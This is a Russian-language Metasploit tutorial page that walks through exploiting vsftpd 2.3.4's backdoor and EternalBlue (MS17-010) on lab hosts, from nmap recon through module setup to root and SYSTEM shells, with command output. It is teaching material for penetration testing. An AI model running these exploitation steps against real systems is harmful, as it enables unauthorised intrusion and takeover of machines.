Metasploit Framework Guide

Методология Эксплуатации

Пошаговый цикл атаки: от разведки до получения доступа. Мы рассмотрим два классических примера: vsftpd (Linux) и EternalBlue (Windows).

🔍
Разведка
Сбор информации
🔎
Анализ
Поиск уязвимостей
⚙️
Настройка
Выбор модулей
💀
Exploit
Получение доступа
01

Сбор информации (Reconnaissance)

На этом этапе мы определяем открытые порты и версии запущенных сервисов.

Пример: vsftpd (Linux)
kali@kali:~$ nmap -A 192.168.56.102

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed
| OS fingerprint: Linux 2.6.9 - 2.6.33
|_Service Info: OS: Unix
Пример: EternalBlue (Windows)
kali@kali:~$ nmap -A 192.168.56.102

PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Professional
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1
|_ System time: 2026-04-29T19:50:42
| smb-vuln-ms17-010:
| State: VULNERABLE
02

Поиск модулей (Scanning & Searching)

Ищем готовые эксплойты в базе Metasploit по названию сервиса или номеру CVE.

msf6 > search vsftpd 2.3.4
# exploit/unix/ftp/vsftpd_234_backdoor (2011) - Excellent

msf6 > search ms17-010
# exploit/windows/smb/ms17_010_eternalblue (2017) - Average
03

Настройка параметров (Configuration)

Выбираем модуль и устанавливаем необходимые параметры (Target IP, Local IP, Payload).

Настройка vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 (...) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
Настройка EternalBlue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 (...) > set RHOSTS 192.168.56.102
msf6 (...) > set LHOST 192.168.56.101
04

Эксплуатация и Доступ (Exploitation)

Запускаем атаку и получаем управление над целевой системой.

msf6 (...) > exploit

[+] Backdoor spawned, handling...
[*] Command shell session 1 opened

whoami
root
msf6 (...) > run

[+] EternalBlue success!
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: SYSTEM

Сравнение векторов атаки

Параметр vsftpd (Backdoor) MS17-010 (EternalBlue)
Механизм Скрытый код (Backdoor) Переполнение пула ядра (Exploit)
Сложность Очень простая Средняя / Высокая
Тип сессии Command Shell Meterpreter